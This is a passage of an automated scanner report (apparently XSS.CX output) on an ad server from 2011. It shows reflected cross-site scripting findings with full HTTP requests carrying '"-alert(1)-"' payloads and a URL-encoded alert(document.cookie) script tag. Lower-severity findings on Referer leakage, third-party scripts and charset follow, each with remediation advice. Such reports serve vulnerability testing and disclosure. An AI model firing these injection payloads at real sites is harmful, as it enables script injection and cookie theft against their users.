EKMTYweDYwMF9hc8gBCdoBYmh0dHA6Ly9wci11c2EubmV0L2luZGV4LnBocD84ODhkNiUyMiUzRSUzQ3NjcmlwdCUzRWFsZXJ0KGRvY3VtZW50LmNvb2tpZSklM0Mvc2NyaXB0JTNFN2Q3OWI4OWRjMT0xuAIYwAIFyALl78UYqAMB0QNNxtOXVCOvkfUDAAAAxA&num=56506"-alert(1)-"17732176a57&sig=AGiWqtzi518fu8ZDPTssED8FQYF53mZRFQ&client=ca-pub-5863382378589562&adurl=http%3a%2f%2fads.networksolutions.com/landing%3Fcode%3DP13C519S512N0B2A1D686E0000V100%26promo%3D699DOMAINS");
var fscUrl =
...[SNIP]...

2.5. http://ad.doubleclick.net/adi/N2524.134426.0710433834321/B4169763.43 [sig parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ad.doubleclick.net
Path:   /adi/N2524.134426.0710433834321/B4169763.43

Issue detail

The value of the sig request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload fe1d1"-alert(1)-"a2503fc559f was submitted in the sig parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /adi/N2524.134426.0710433834321/B4169763.43;sz=160x600;click=http://googleads.g.doubleclick.net/aclk?sa=l&ai=BGjYvpZ5zTYrqAcr2lQfCtsGbBpWpie8B3YCL8hLjqLazM8Cg_gMQARgBIOS2twM4AFDEwrTWBmDJ5vaGyKOgGaABo67u9gOyAQpwci11c2EubmV0ugEKMTYweDYwMF9hc8gBCdoBYmh0dHA6Ly9wci11c2EubmV0L2luZGV4LnBocD84ODhkNiUyMiUzRSUzQ3NjcmlwdCUzRWFsZXJ0KGRvY3VtZW50LmNvb2tpZSklM0Mvc2NyaXB0JTNFN2Q3OWI4OWRjMT0xuAIYwAIFyALl78UYqAMB0QNNxtOXVCOvkfUDAAAAxA&num=1&sig=AGiWqtzi518fu8ZDPTssED8FQYF53mZRFQfe1d1"-alert(1)-"a2503fc559f&client=ca-pub-5863382378589562&adurl=;ord=195306200? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5863382378589562&output=html&h=600&slotname=1599283928&w=160&lmt=1299444464&flash=10.2.154&url=http%3A%2F%2Fpr-usa.net%2Findex.php%3F888d6%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E7d79b89dc1%3D1&dt=1299422904230&shv=r20101117&jsv=r20110208&saldr=1&correlator=1299422904659&frm=0&adk=749070039&ga_vid=1337551796.1299422905&ga_sid=1299422905&ga_hid=623513704&ga_fc=0&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&dff=arial&dfs=12&biw=1609&bih=1006&eid=33895299&ref=http%3A%2F%2Fburp%2Fshow%2F7&fu=0&ifi=1&dtd=511&xpc=dguaE28yzz&p=http%3A//pr-usa.net
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|2818894/957634/15036,578176/951462/15032,1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sun, 06 Mar 2011 14:49:45 GMT
Vary: Accept-Encoding
Expires: Sun, 06 Mar 2011 14:49:45 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 7342

<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve
...[SNIP]...
EubmV0L2luZGV4LnBocD84ODhkNiUyMiUzRSUzQ3NjcmlwdCUzRWFsZXJ0KGRvY3VtZW50LmNvb2tpZSklM0Mvc2NyaXB0JTNFN2Q3OWI4OWRjMT0xuAIYwAIFyALl78UYqAMB0QNNxtOXVCOvkfUDAAAAxA&num=1&sig=AGiWqtzi518fu8ZDPTssED8FQYF53mZRFQfe1d1"-alert(1)-"a2503fc559f&client=ca-pub-5863382378589562&adurl=http%3a%2f%2fads.networksolutions.com/landing%3Fcode%3DP61C151S512N0B2A1D687E0000V100%26promo%3DBCXXX03936");
var fscUrl = url;
var fscUrlClickTagFound = false;
...[SNIP]...

2.6. http://ad.doubleclick.net/adi/N2524.134426.0710433834321/B4169763.43 [sz parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://ad.doubleclick.net
Path:   /adi/N2524.134426.0710433834321/B4169763.43

Issue detail

The value of the sz request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c5802"-alert(1)-"eda58799fab was submitted in the sz parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /adi/N2524.134426.0710433834321/B4169763.43;sz=160x600;click=http://googleads.g.doubleclick.net/aclk?sa=lc5802"-alert(1)-"eda58799fab&ai=BGjYvpZ5zTYrqAcr2lQfCtsGbBpWpie8B3YCL8hLjqLazM8Cg_gMQARgBIOS2twM4AFDEwrTWBmDJ5vaGyKOgGaABo67u9gOyAQpwci11c2EubmV0ugEKMTYweDYwMF9hc8gBCdoBYmh0dHA6Ly9wci11c2EubmV0L2luZGV4LnBocD84ODhkNiUyMiUzRSUzQ3NjcmlwdCUzRWFsZXJ0KGRvY3VtZW50LmNvb2tpZSklM0Mvc2NyaXB0JTNFN2Q3OWI4OWRjMT0xuAIYwAIFyALl78UYqAMB0QNNxtOXVCOvkfUDAAAAxA&num=1&sig=AGiWqtzi518fu8ZDPTssED8FQYF53mZRFQ&client=ca-pub-5863382378589562&adurl=;ord=195306200? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5863382378589562&output=html&h=600&slotname=1599283928&w=160&lmt=1299444464&flash=10.2.154&url=http%3A%2F%2Fpr-usa.net%2Findex.php%3F888d6%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E7d79b89dc1%3D1&dt=1299422904230&shv=r20101117&jsv=r20110208&saldr=1&correlator=1299422904659&frm=0&adk=749070039&ga_vid=1337551796.1299422905&ga_sid=1299422905&ga_hid=623513704&ga_fc=0&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&dff=arial&dfs=12&biw=1609&bih=1006&eid=33895299&ref=http%3A%2F%2Fburp%2Fshow%2F7&fu=0&ifi=1&dtd=511&xpc=dguaE28yzz&p=http%3A//pr-usa.net
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|2818894/957634/15036,578176/951462/15032,1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sun, 06 Mar 2011 14:48:37 GMT
Vary: Accept-Encoding
Expires: Sun, 06 Mar 2011 14:48:37 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 7383

<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve
...[SNIP]...
= escape("http://ad.doubleclick.net/click%3Bh%3Dv8/3ac2/f/1d6/%2a/e%3B234419687%3B0-0%3B0%3B50265525%3B2321-160/600%3B40007987/40025774/1%3B%3B%7Esscs%3D%3fhttp://googleads.g.doubleclick.net/aclk?sa=lc5802"-alert(1)-"eda58799fab&ai=BGjYvpZ5zTYrqAcr2lQfCtsGbBpWpie8B3YCL8hLjqLazM8Cg_gMQARgBIOS2twM4AFDEwrTWBmDJ5vaGyKOgGaABo67u9gOyAQpwci11c2EubmV0ugEKMTYweDYwMF9hc8gBCdoBYmh0dHA6Ly9wci11c2EubmV0L2luZGV4LnBocD84ODhkNiUyMiUzRSUzQ3Nj
...[SNIP]...

3. Cross-domain Referer leakage  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://ad.doubleclick.net
Path:   /adi/N2524.134426.0710433834321/B4169763.43

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /adi/N2524.134426.0710433834321/B4169763.43;sz=160x600;click=http://googleads.g.doubleclick.net/aclk?sa=l&ai=BGjYvpZ5zTYrqAcr2lQfCtsGbBpWpie8B3YCL8hLjqLazM8Cg_gMQARgBIOS2twM4AFDEwrTWBmDJ5vaGyKOgGaABo67u9gOyAQpwci11c2EubmV0ugEKMTYweDYwMF9hc8gBCdoBYmh0dHA6Ly9wci11c2EubmV0L2luZGV4LnBocD84ODhkNiUyMiUzRSUzQ3NjcmlwdCUzRWFsZXJ0KGRvY3VtZW50LmNvb2tpZSklM0Mvc2NyaXB0JTNFN2Q3OWI4OWRjMT0xuAIYwAIFyALl78UYqAMB0QNNxtOXVCOvkfUDAAAAxA&num=1&sig=AGiWqtzi518fu8ZDPTssED8FQYF53mZRFQ&client=ca-pub-5863382378589562&adurl=;ord=195306200? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5863382378589562&output=html&h=600&slotname=1599283928&w=160&lmt=1299444464&flash=10.2.154&url=http%3A%2F%2Fpr-usa.net%2Findex.php%3F888d6%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E7d79b89dc1%3D1&dt=1299422904230&shv=r20101117&jsv=r20110208&saldr=1&correlator=1299422904659&frm=0&adk=749070039&ga_vid=1337551796.1299422905&ga_sid=1299422905&ga_hid=623513704&ga_fc=0&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&dff=arial&dfs=12&biw=1609&bih=1006&eid=33895299&ref=http%3A%2F%2Fburp%2Fshow%2F7&fu=0&ifi=1&dtd=511&xpc=dguaE28yzz&p=http%3A//pr-usa.net
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|2818894/957634/15036,578176/951462/15032,1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Content-Length: 7201
Cache-Control: no-cache
Pragma: no-cache
Date: Sun, 06 Mar 2011 14:48:08 GMT
Expires: Sun, 06 Mar 2011 14:48:08 GMT
Discarded: true

<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve
...[SNIP]...
<!-- Code auto-generated on Wed Dec 29 09:35:18 EST 2010 -->
<script src="http://s0.2mdn.net/879366/flashwrite_1_2.js"></script>
...[SNIP]...
Ll78UYqAMB0QNNxtOXVCOvkfUDAAAAxA&num=1&sig=AGiWqtzi518fu8ZDPTssED8FQYF53mZRFQ&client=ca-pub-5863382378589562&adurl=http%3a%2f%2fads.networksolutions.com/landing%3Fcode%3DP99C519S512N0B2A1D38E0000V109"><img src="http://s0.2mdn.net/578176/ns_0000_brand_160x600.jpg" width="160" height="600" border="0" alt="Advertisement" galleryimg="no"></a>
...[SNIP]...

4. Cross-domain script include  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://ad.doubleclick.net
Path:   /adi/N2524.134426.0710433834321/B4169763.43

Issue detail

The response dynamically includes the following script from another domain:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

Request

GET /adi/N2524.134426.0710433834321/B4169763.43;sz=160x600;click=http://googleads.g.doubleclick.net/aclk?sa=l&ai=BGjYvpZ5zTYrqAcr2lQfCtsGbBpWpie8B3YCL8hLjqLazM8Cg_gMQARgBIOS2twM4AFDEwrTWBmDJ5vaGyKOgGaABo67u9gOyAQpwci11c2EubmV0ugEKMTYweDYwMF9hc8gBCdoBYmh0dHA6Ly9wci11c2EubmV0L2luZGV4LnBocD84ODhkNiUyMiUzRSUzQ3NjcmlwdCUzRWFsZXJ0KGRvY3VtZW50LmNvb2tpZSklM0Mvc2NyaXB0JTNFN2Q3OWI4OWRjMT0xuAIYwAIFyALl78UYqAMB0QNNxtOXVCOvkfUDAAAAxA&num=1&sig=AGiWqtzi518fu8ZDPTssED8FQYF53mZRFQ&client=ca-pub-5863382378589562&adurl=;ord=195306200? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5863382378589562&output=html&h=600&slotname=1599283928&w=160&lmt=1299444464&flash=10.2.154&url=http%3A%2F%2Fpr-usa.net%2Findex.php%3F888d6%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E7d79b89dc1%3D1&dt=1299422904230&shv=r20101117&jsv=r20110208&saldr=1&correlator=1299422904659&frm=0&adk=749070039&ga_vid=1337551796.1299422905&ga_sid=1299422905&ga_hid=623513704&ga_fc=0&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&dff=arial&dfs=12&biw=1609&bih=1006&eid=33895299&ref=http%3A%2F%2Fburp%2Fshow%2F7&fu=0&ifi=1&dtd=511&xpc=dguaE28yzz&p=http%3A//pr-usa.net
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|2818894/957634/15036,578176/951462/15032,1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Content-Length: 7201
Cache-Control: no-cache
Pragma: no-cache
Date: Sun, 06 Mar 2011 14:48:08 GMT
Expires: Sun, 06 Mar 2011 14:48:08 GMT
Discarded: true

<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve
...[SNIP]...
<!-- Code auto-generated on Wed Dec 29 09:35:18 EST 2010 -->
<script src="http://s0.2mdn.net/879366/flashwrite_1_2.js"></script>
...[SNIP]...

5. HTML does not specify charset  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://ad.doubleclick.net
Path:   /adi/N2524.134426.0710433834321/B4169763.43

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.

Request

GET /adi/N2524.134426.0710433834321/B4169763.43;sz=160x600;click=http://googleads.g.doubleclick.net/aclk?sa=l&ai=BGjYvpZ5zTYrqAcr2lQfCtsGbBpWpie8B3YCL8hLjqLazM8Cg_gMQARgBIOS2twM4AFDEwrTWBmDJ5vaGyKOgGaABo67u9gOyAQpwci11c2EubmV0ugEKMTYweDYwMF9hc8gBCdoBYmh0dHA6Ly9wci11c2EubmV0L2luZGV4LnBocD84ODhkNiUyMiUzRSUzQ3NjcmlwdCUzRWFsZXJ0KGRvY3VtZW50LmNvb2tpZSklM0Mvc2NyaXB0JTNFN2Q3OWI4OWRjMT0xuAIYwAIFyALl78UYqAMB0QNNxtOXVCOvkfUDAAAAxA&num=1&sig=AGiWqtzi518fu8ZDPTssED8FQYF53mZRFQ&client=ca-pub-5863382378589562&adurl=;ord=195306200? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5863382378589562&output=html&h=600&slotname=1599283928&w=160&lmt=1299444464&flash=10.2.154&url=http%3A%2F%2Fpr-usa.net%2Findex.php%3F888d6%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E7d79b89dc1%3D1&dt=1299422904230&shv=r20101117&jsv=r20110208&saldr=1&correlator=1299422904659&frm=0&adk=749070039&ga_vid=1337551796.1299422905&ga_sid=1299422905&ga_hid=623513704&ga_fc=0&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&dff=arial&dfs=12&biw=1609&bih=1006&eid=33895299&ref=http%3A%2F%2Fburp%2Fshow%2F7&fu=0&ifi=1&dtd=511&xpc=dguaE28yzz&p=http%3A//pr-usa.net
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|2818894/957634/15036,578176/951462/15032,1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Content-Length: 7201
Cache-Control: no-cache
Pragma: no-cache
Date: Sun, 06 Mar 2011 14:48:08 GMT
Expires: Sun, 06 Mar 2011 14:48:08 GMT
Discarded: true

<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve
...[SNIP]...


Report generated by XSS.CX at Sun Mar 06 09:35:22 CST 2011.